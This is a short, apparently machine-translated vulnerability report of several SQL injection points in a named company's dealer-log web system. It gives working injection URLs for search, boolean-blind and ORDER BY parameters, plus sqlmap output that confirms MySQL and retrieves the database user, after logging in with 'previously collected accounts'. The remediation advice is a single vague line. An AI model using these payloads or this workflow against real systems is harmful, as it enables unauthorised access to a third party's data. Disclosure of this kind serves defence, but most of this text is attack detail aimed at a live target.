Multiple Injection packages in a system of yiche

Multiple Injection packages in a system of yiche

I found that many people recently submitted a hole in the car, making it a hot topic.

Problem site:

Http://log.yiqi.autodmp.cig.com.cn/

Use the previously collected accounts to check the injection points:



1. Search injection:

Http://log.yiqi.autodmp.cig.com.cn/dealers/get_list_bypager? M_pageindex = 1 & m_pagesize = 10 & m_provinceid = 330000% 09% 09% 09% 09% 09% 09% 09% 'and' % '=' & m_areaid = & m_area2id = & m_keyword = % E4 % B8 % 9C % E9 % 98% B3 % '+ and +' % '=' & 1427551508291



2. boolean blind note:

Http://log.yiqi.autodmp.cig.com.cn/lms_api/stat/get_stat_product_list? Start_time = 20150228% 20and % 201 = 1 & end_time = 20150328 and 1 = 1 & page_size = 0 & graph_type = table & 1427551564107



The start_time and end_time of the entire site are injected.



3. order by injection:

Http://log.yiqi.autodmp.cig.com.cn/lms_api/clue/get_clue_list_bypaper? Starttime = 1425132344 & endtime = 1427551544 & page_index = 1 & page_size = 20 & approach = & channel = & carmodel = & meida = & province = & city = & district = & dealer = & cartype = & state = & activity = & keyword = & sortfield = post_time & sort = desc> ype = 1 & verify_status = & 1427551576702



Sortfield = post_time & sort = desc both parameters can be orderby injection, such as sort = desc, if (1 =, (select 1 union select 2 ))



There should be many other injection points. I will not list them one by one. Check them by yourself.

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: m_keyword (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: m_pageindex=1&m_pagesize=10&m_provinceid=330000&m_areaid=&m_area2id=&m_keyword=%E4%B8%9C%E9%98%B3%%' AND 2230=2230 AND '%'='&1427551508291---[22:14:33] [INFO] testing MySQL[22:14:33] [INFO] confirming MySQL[22:14:33] [INFO] the back-end DBMS is MySQLweb application technology: Apache, PHP 5.3.9back-end DBMS: MySQL >= 5.0.0[22:14:33] [INFO] fetching current user[22:14:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[22:14:33] [INFO] retrieved: autodmp_dealer@%current user: 'autodmp_dealer@%'

Solution:

The background system should also provide security protection, otherwise it will be an internal network breakthrough ~